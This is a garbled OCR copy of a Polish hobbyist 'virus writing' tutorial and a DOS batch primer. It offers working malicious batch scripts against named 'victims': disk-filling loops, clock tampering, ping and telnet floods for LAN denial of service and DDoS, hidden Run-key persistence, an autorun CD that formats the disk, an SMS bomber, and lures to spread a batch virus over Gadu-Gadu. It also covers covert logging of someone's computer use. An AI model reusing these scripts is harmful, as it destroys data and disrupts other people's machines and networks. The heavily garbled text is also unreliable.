type ksyf >> c:\windows\system32\syf.dl|
goto start

opis: regedit /e ksyf tak jakby odczytuje cala zewéd

rejestru i kopiuje ja do pliku ksyf (w winXP calieet¢

rejestru zajmuje 40 mb :) ), naghie zawarté¢ ksyf (40 mb) jest
kopiowana do pliku syf.dll. | tak caty czas zawaétpliku ksyf jest
dopisywana do pliku syf.dll gpla) i co ok.3s ten plik powksza st 0
jakies 40 mb i tak w kolko :). Po paru minutach re@ap¢ caty dysk
(jezeli gas¢ ma maty dysk :P ). oczyégie plik syf.dll i ksyf to mog by¢
dowolne nazwy plikdw, jak g jest ciemny i chcesz zrabieby s nie
skapowat to najlepiej nazwaen plik jaka tak: sysdir.dll :)zeby
myslat ze ten plik jest potrzebny :)

12.Bez poczucia czasu ? 2)))) :

@echo off
echo time 00:00 >> c:\autoexec.bat
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echo cls >> c:\autoexec.bat

Teraz przy kadym uruchomieniu komputera ofierze

biedzie zmieniat giczas na 00:00. Oczyygie maze to by tez przydatne
jak np. kta chce zrohi sobie licznik ile czasu gpza przed komputerem :)
Aha wiec dlatego najlepiej nie rabtzasu 00:00 bo jak ofiara przypuszczalnie
usiadta przed kompem o0 19:00 (wigdze jest 19:00) Zobaczyta ze jest
czas 00:00, a potem spojrzata na zegaedly zobaczg ktora jest

godzina i zobaczyta 2:15 tedizie wiedziata ze jest 21:15

(19:00 + 2:15 = 21:15) a jak powiedzmy zmienimy

czas na 16:37 to juz trudniejdzie zapamita¢ ofierze o ktérej usiadta
(jezeli specjalnie nie zapagtala) | wtedy s¢ zamota. Ale tak

W ogok to przecie ma w domu zegarek, a jak jest gdzie indziej to
moze sama ma zegarek albo «ktony itp. wiec to chyba tylko po to

zeby koga wkurzy ))

Czesé VI
Autor tekstu:
Wojciech W. (otul / otuloc)
otul2@poczta.onet.pl
www.otul.prv.pl

Pisanie Wiruséw G&¢ 6

13.Zapychacz wiasnych portow: Oczyuie jest to takie tandetne
ale mae sk przyda :) tworzymy kilka plikéw (najlepiej z 6)

bat oczywicie i do kadego wpisujemy

@echo off :start telnet localhost:80 goto start

i jeszcze musimy zrobiplik start
(niech te pliki nazywaj si¢ killerl.bat killer2.bat itd.)

@echo off start killerl.bat start killer2.bat itd.

Ale po co robt tyle plikéw ? zrébmy jeden
plik ktory resz¢ zrobi za nas:

@echo off

echo @echo off >> killer.bat

echo :start >> killer.bat

echo telnet localhost 80 >> killer.bat
echo goto start >> killer.bat

cls

copy killer.bat killer2.bat

copy killer2.bat killer3.bat

copy killer3.bat killer4.bat
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copy killer4.bat killer5.bat
copy killer5.bat killer6.bat
cls

start killer.bat

start killer2.bat

start killer3.bat

start killer4.bat

start killer5.bat

start killer6.bat

cls

echo ping -1 65500 -n 100 localhost >> pinger.bat
start pinger.bat

cls

To pinger to tylko tak dla zwady bo move ze po prostu
pojawi sk niebieski ekranik jeeli wysle sie 65500.

A nawet jgli nie to tez spowalnia komputer wiec

tak czy siak robi szkagd:)

Na pewno domdlacie s¢ ze ofiara si skapuje ze te

pliki sa uruchomione :| Nie jestem pewien (i nie raog

teraz tego wyprobowabo musze miewtaczony komputer)
Ale do
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\
CurrentVersion\Run] mana wrzuct linijk¢ aby to uruchamiata
a na kacu dopisa /HIDE czy jaka tak (nozeby uruchamiato
pliki starter i killery np.c:\killer5.bat /HIDE) wtedy to lgdzie
ukryte - jezeli to nie dziata to mmna spréobowa/TRAY :| - ale
tez nie wiem czy dziata. Aledk dziata to trzeba pargiac ze

nie mazna zrob¢ tego pojedynczego pliku tylko nakezrobic
wpis dla kadego osobnaeby kady byt uruchamiany /HIDE.

Mozna tez wyczdi kiedy ofiara ledziesciagata jaks

dwzy plik ( to znaczy pogadaz nig i si¢ spyt& czy nie ma albo

czy nie ledziesciagata jaké fajnych filmow czy cé..) | jak np. kedzie
chciatasciggat w nocy to wrzucasz plik do harmonogramu i wtedy
nalewno nieciagnie :)

Zamiast localhost mmma tez wpisadowolny adres IP oraz
dowolny port. Ale zamiast tego to chyba lepigywac innych
programoéw do ataku DoS typu "ICMP bomber".

Jeszcze jedno -jeli jest& polgczony sieci lokalna i chcesz
komus zablokowd Internet albo siec to moa zrobé kilka takich plikow:

@echo off

-start

ping -1 65500 -n 100 IP
goto start
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| wtedy zajmie mu cale pasmo transmisyjne

(to znaczy max chyba 97%) i niedzie mu dziata

siec ani net, a po pewnym czasie zapewne kompatstie :))))))

Oczywiscie mazesz jeszcze dohy¢ do tego telnet IP:80 to nalewno

nie wykorzysta tych 3% i nie wejdzie nadng strore www. :) PS.

Jak ja testowatem to datozsnaxymalnie zai 97%. Maze i Pojdzie 100% ? :)

Mozesz jeszcze uniemlwi ¢ ofierze ircowanie (jezeli uzywa mirca).
Robisz skrypt ktéry po kalym wefciu na kanat robi @gle ping na sobie,
albo po prostu wysyta du ilos¢ textu (flooduje) i wtedy server od razu
wywala. Jak "dobrze" pojdzie to gfomaze mi¢ K-LINE

(zakaz #czenia s§ z serverem(ami) irca)

Jezeli jest& wyjatkowo paskudny :)), a twoja ofiara

taczy sk przez server dostawcy albo cos takiego taesn

zrobit zeby pingowato/telnetowato ten server i wtedy dos@aw

moze zerwg umowe za "naruszenie bezpiecstwa serwera”

albo "prole uniemaliwienia dos¢pu do informaciji innym gytkownikom".
A jezeli admin jest niciwy to maze nawet zadzwodina policje.

Wtedy powstanie nige zamieszanie :)

Za pomog batchy maesz zrohi tez bomk do ataku DDoS.

Czyli przeg¢ sie po kumplach z LANu zrobiu kazdego bomber

ktory ma pingowé/telnetowa jakis serwer i ustawiw harmonogramie
odpowiednia godzin Jeeli masz w LANie sporo komputeréw

to serwer padnie :)) deli mazesz sobie sam ustawiP internetowe to
jeszcze mpesz zdj¢ z serwera firewalla (to znaczyzgi ma jaki szyfrowy :P)

Czesc¢ VI

Autor tekstu:

Wojciech W. (otul / otuloc)
otul2@poczta.onet.pl
www.otul.prv.pl

Pisanie Wirusow Czé 7

14.Teraz meemy zrob¢ takieswinstwo, i sprawdz
czy kolega jest uczciwy robimy tak:

1.Tworzymy taki plik do formatowania twardego dysler potwierdzenia
2. Tworzymy plik AUTORUN.INF : [AutoRun] open=plikfonatujacy.bat
3.1 te dwa pliki nagrywamy na CD

Teraz bierzemy taka phytki podpisujemy ja: Scisle tajne,

nie wolno tego CD tywaé. Trzymaj tapy z daleka”
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ldziemy do kumpla. Gdydaziemy wychodzili

to "przez przypadek" zostawiamy u niego ten CD.
Jezeli bedzie nieuczciwy i wcibski to po wiaeniu tej
ptyty sformatuje mu gidysk :))))

15.Kolejny sposéb sprawdzenia uczcisidkolegi:

Nagrywamy na ptytk jakas gre czy film (oczywicie nie wolno

robi¢ pirackich kopii i trzeba miepozwolenie :PPPPPPPP

- musicalem to napigaP). Tylko ze w jakin folderze wczepiamy plik
readme.txt o wpisujemy : "to jest CD ****" <-- nickib imie,
wychodzimy na dwor i "przez przypadek” zostawianty Kiedy
bedziemy szli do domu. | sobie patrzymy czy«tego nie wemie.

Jak kt@ wezmie to wychodzimy i probujemy zrobtaka sytuacije:

"O wiedze ze masz jak ptytke, co na niej jest". | teraz zale od gacia.
Jezeli powie ze znalazt i ze chciakszapytd czyja jest to OK,

ale jezeli powie ze to jego ze niedawno sobie nagrat...

To juz dalej robisz co chcesz :P (J& Go przemocy

nie namawiam ;P)- najpierw ocz\igie pokazujesz mu ten plik readme.txt

16.SmS bomber za pompbatcha i gadu gadu (bardzo proste):
@echo off :start c:\progra~1\gadu-gadu\gg.exe /Sentklefonu” /msg:"text" goto start

ciekawe czy zadziala :))))3ycze powodzenia :).

17. c:\windows\security\templates\hisecws.inf - jast taka linijka:
MaximumLogSize=10240

ciekawe co sistanie jak zmienimyna 0 ? albo 1 ? )

18. Jest jeszcze jeden ciekawy sposob na rozpreesinie
wirusa... poprzez GG. Tak sobie siedsi¢ nudz.. az tu nagle...
Wyslij te wiadoma¢ do 10 os6b a poka ci sk fajny filmik video...

A wiec:

@echo off
kod wirusa
cls

Wyslij te wiadomai¢ do 10 oséb, naginie wklej kod powyszego pliku
(od @echo off do cls) do pliku *.bat

(trzeba stworz§ nowy plik z kaicoéwka bat np.

foka.bat

nastpnie edytuj i tam wkle€i zawartd¢ i zapisa ) to wtedy...

- i tutaj jakg kit wypisujesz. Tak samo mesz tez zrolgi

przez pocat :))))))
Jezeli 1 na 50 os6b siwrobi to i tak ledzie dobrze.

PS. Do przekonwertowania pliku *.bat
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aby nie byto widé jego kodwzrodtowego

maozna wy¢ programu bat2exec albo o take pisa

takiego wirusa w c/c++ ( system("polecenie batcha")

Mozna ten text rozprzestrzekidp. Ale nie wolno nic zmienia!!!

Fajne programy itp

Autor tekstu:

Wojciech W. (otul / otuloc)
otul2@poczta.onet.pl
www.otul.prv.pl

PORADNIK HACKERA ;)
PRZYKLADY PROGRAMOW WSADOWYCH

Poradnik hackera...

Nie, nozartowatem! :)

W kazdym razie ten tekst i takebzie dosy powany, bo zademonstrgj
Wam tutaj kilka fajnych zastosowaaszego starego DOS-a - najbardziej
hackerskiego programu. :) W tym takie poka ze Wam, jak napisa ¢
bardzo szybko proste programiki, nawedlj@ie macie o tym absolutnie
pojecia..

PRZYKLAD PIERWSZY (EGZAMPEL LAN :)

Zatozmy, ze chcesz wiedzég co dzieje si z kompem

podczas Twojej nieobechaoi. Przynajmniej, kiedy byt on wt aczany.
Normalnie maemy zobacz§tylko, ile czasu mamy uruchomiony Windows,

i nic poza tym. Chybaze napiszemy sobie specjalny program.

Najpierw jednak zastanéwmysjak sprawd by uruchamiat gion

na starcie kompa? Pewniegik$za czs¢ z Was wie, co to je st autoexec.bat?
Zresz, 0 nim te ostatnio pisatem. To wiaie plik wsadowy, automatycznie
wykonywany przez startagego Windowsa (lub DOS-a). Pagtdj, zeby

nie skasowajego dotychczasowej zawagio swoim tekstem, tylko

otworzy¢ program w Notatniku i gidopis&. :) Jesli jednak chcemy

lepiej ukry nasz "przyrete”, mozemy skorzystaz pliku

c:\windows\winstart.bat.
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Najczsciej nie mamy go od razu w systemie,
wigc bedziemy musieli samemu takowy utwoézy
(plik wsadowy nie system :).

Teraz przypomnijmy sobie obski®OS-a.
Jakie polecenia shg do sprawdzania daty i czasu?

No oczywicie DATE i TIME. Jednak jak je watczymy, to b edziemy

musieli wprowadzi nowy czas lub tylko wcisi¢ ENTER, aby anulow@a
Nie mOwgC juz 0 tym,ze osoba, ktorej cotakiego si e wt aczy na starcie,
moze cs podejrzewa  ¢. )

Na szcgscie istnieje co $ takiego, jak potoki.
Czyli wynik dziatania jednego programu przekazywany
jest drugiemu. Zakcitem? :) Chyba nie...

Bo oto prosty przykiad:

DIR C:\\WINDOWS | MORE

Jeslizapomoc g DIRwy swietlimy na ekranie

zawarta ¢ folderu Windows, to, rzecz jasna, wszystkie pliki

nie zmieszcz sie na monitorze. Ale program MORE wychwytuje
caty tekst i dzieli go na kolejne gzci.

A teraz nasz przykiad:

DATE
TIME

Chcemy, aby DOS samemu wcikeobie Enter...
W sumie fajnie by to wygbato, nie. ;) Wraliwe osoby
wyskoczytyby przez okno. :) Chodzi oczygie o "wci éni ecie” programowe,

czyli po prostu przejcie do nowej linii. Do wy swietlania tekstu stu
w DOS-ie

polecenie ECHO. Ale jak kazanu wpisanie samego ENTERA?

Jesli zrobimy co $ takiego:

ECHO

to zamiast pustej linii zobaczymy nie interesyjnas wcale komunikat.
Ale jest pewna sztuczka:

ECHO.

Taki zapis odpowiada véwietleniu pustego wiersza.

Oprocz kropki mae to by kazdy inny znak, za wytkiem cyfr, liter
i jeszcze paru innych. Pagtdj, ze nie mana oddziek go spagj.
No to zaczynamy:
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ECHO. | DATE
ECHO. | TIME

Czemu taka, a nie odwrotna kolefiio

- mogtby s¢ ktos zapyta ¢? Ot0 z wcei sniecie ENTERA
przekazywane jest poleceniu, ktére na nie oczel@heTE, TIME).
Jasne?!;)

No, ale to jeszcze nie koniec.

Przecie chcemy zapisadat i godzire do pliku.

Wiec wzyjemy strumienia. Nie, wcale nie znowu...

poprzednio to byt potok. ;) A wt strumie jest to po prostu
przekierowanie danych, zamiast na ekran, to narebmé uradzenie.
A pod nazw "urzadzenie" kryj sie: PRN - drukarka, CON - monitor
lub klawiatura, albo zwykty plik, gdy wpiszemy jegazwe.

A robimy to tak:

ECHO. | DATE > c:\windows\dziennik.log
ECHO. | TIME > c:\windows\dziennik.log

Gdybysmy to jednak teraz odpalili :), to oka ze sl e,
ze w pliku jest tylko godzina (bez daty).

Po prostu znak > powoduje skasowanie dotychczaszaveqrtcci

pliku. Ale to tatwo da si omima¢:

ECHO. | DATE >> c:\windows\dziennik.log
ECHO. | TIME >> c:\windows\dziennik.log

No i to juz prawie koniec programu.

Ale jesli naprawd e uruchamiali scie te przykiady,
to pewnie zauwgyli scie co  $ niepokoj  acego. :)
Wszystkie uyte komendy (adwie :) & wyrzucane na ekran.
To mazna tatwo omigg:

@ECHO OFF
ECHO. | DATE >> c:\windows\dziennik.log
ECHO. | TIME >> c:\windows\dziennik.log

Znéw polecenie ECHO. Tylko z parametrem OFF,

ktory wylacza wyswietlanie kodu pro gramu na ekranie.
Gdybalismy wpisali mi edzy wierszami ECHO ON, to znéw by
watczyli.

Teraz mog juz wyjasni ¢, czemu stosujemy u gory zapis "ECHO." a nie

"ECHO".

Otéz napisanie tego polecenia samego (bez parametppmjcsiuje
pokazanie siinformacji, czy wywietlanie kodu na ekran zostato
wyt aczone.

Jak ja to poprzednio nazwatem: "nie interesyjnas komunikat". :)

Na kaicu proponuj jeszcze doda
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ECHO ---------- >> c:\windows\dziennik.log
zeby oddziek daty kolejnych uruchomiekompa.

Teraz ju tylko zapisujemy efekt jako
c:\windows\winstart.bat i nic nikomu nie méwimy. :)

PRZYKLAD DRUGI (EGZAMPEL CWAJ :)

Napiszemy teraz program, ktory przyda si

kazdemu, kto lubi kolekcjonowamp3-6jki.

Oczywiscie legalne, przerobione z wkasnych, oryginalnych p tyt
CD.>)))

Je&sli mamy ich duo, to niewygodnie jest trzymige w jednym folderze.
Mozemy oczywicie ka zda now g "porcj e" kopiowa ¢ do osobnego
katalogu,

ale wtedy g one utaone chaotycznie i trudno zndlé interesu; ace nas
kawaiki bez polecenia "Znajd. Chyba, ze napiszemy program, ktory
automatycznie skopiuje je z ptyty do odpowiedniégderu wedtug

liter alfabetu. Oczywicie pod warunkiem, ze na plycie

mamy MP3-6jki, a nie audiotracki. :) Najpierw pragr musi

zatazy¢ kolejne foldery. Zrobimy to za pomgtzw. ptli:

FOR %%1IN(ABCDEFGHIJKLMNOPQRSUVWXY Z) DO MD
C:\MUZYKA\%%1

Nie ma sensu ttumacgyco znacg te wszystkie IN albo

DO - one po prostu musbyc. W kazdym razie polecenie to

dziata takze podstawia pod %%1 (czyli tzw. zmientkolejne

litery alfabetu (lub kady inny tekst z nawiasu), a potermywa

go jako czsci tzw. parametru wywotania komendy MD.

A najprasciej méwi  ac-u zywa tej litery jako n azwy folderu do zateenia.

No to mamy katalogi, teraz czas przyst do kopiowania.
Wykona je ten sam program, gdy dodamy do niegaesgedno polecenie:

COPY D:\?*.mp3 C:\MUZYKA\?\?*.MP3

Tu réwniez mazna byto wy¢ petli FOR, ale nie ma takiej potrzeby.
Zastosowalimy zamiast niej tzw. znaki globalne:

? - oznacza dowolny znak
* - 0znacza dowolny gg znakow

Zobaczmy, co sidzieje: polecenie COPY kopiuje z piyty

D:\ wszystkie pliki *.mp3, zapargiujac pierwsz liter¢ nazwy

pliku pod znakiem ?. Reszta nazwy zostaje ukrythgwiazdla *.

Nastpnie podalémy, gdzie skopiowa ¢ plik. Program pami eta,
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jaka liter¢ zastpili smy znakiem zapytania i wyszukuje odpowiedni
folder.
A potem wkleja plik, zachowag cah nazve.

Wiecie, co myl e? Z dziatania tego programu m 0gq by¢
niezadowoleni fani grup typu 666 czy 2 Unlimiteqd. :

Przecie nie zatayli smy folderéw nazwanych cyframi...

Na szcescie zespotdw o tak zaczynaj acych si e nazwach
nie ma zbyt wiele, wic mazemy skopiowé te mp3 od razu do katalogu
C:\MUZYKA. Znow uzywamy w tym celu automatyzaciji... ;)

FOR %%1IN (1234567 890) DO COPY D:\%%1*3/€:\MUZYKA

Po raz drugi zastosowalny p etl ¢ FOR.

Zauwayliscie, ze po MD nie podate m nazwy pliku,

a jedynie samego folderu? To nic nie szkodzi - igéyzmieniamy nazwy
pliku, DOS wywa starej - i mamy mniej pisania. :)

KONIEC (THE END = D& :)

Materiaty pochodz ze stronyhttp://hakerczat.prv.pl/fag/fagbatch.html
autor artykutu jest podany przyadym artykule.
Tworca PDF-u byadik  http://byadik.cba.pl
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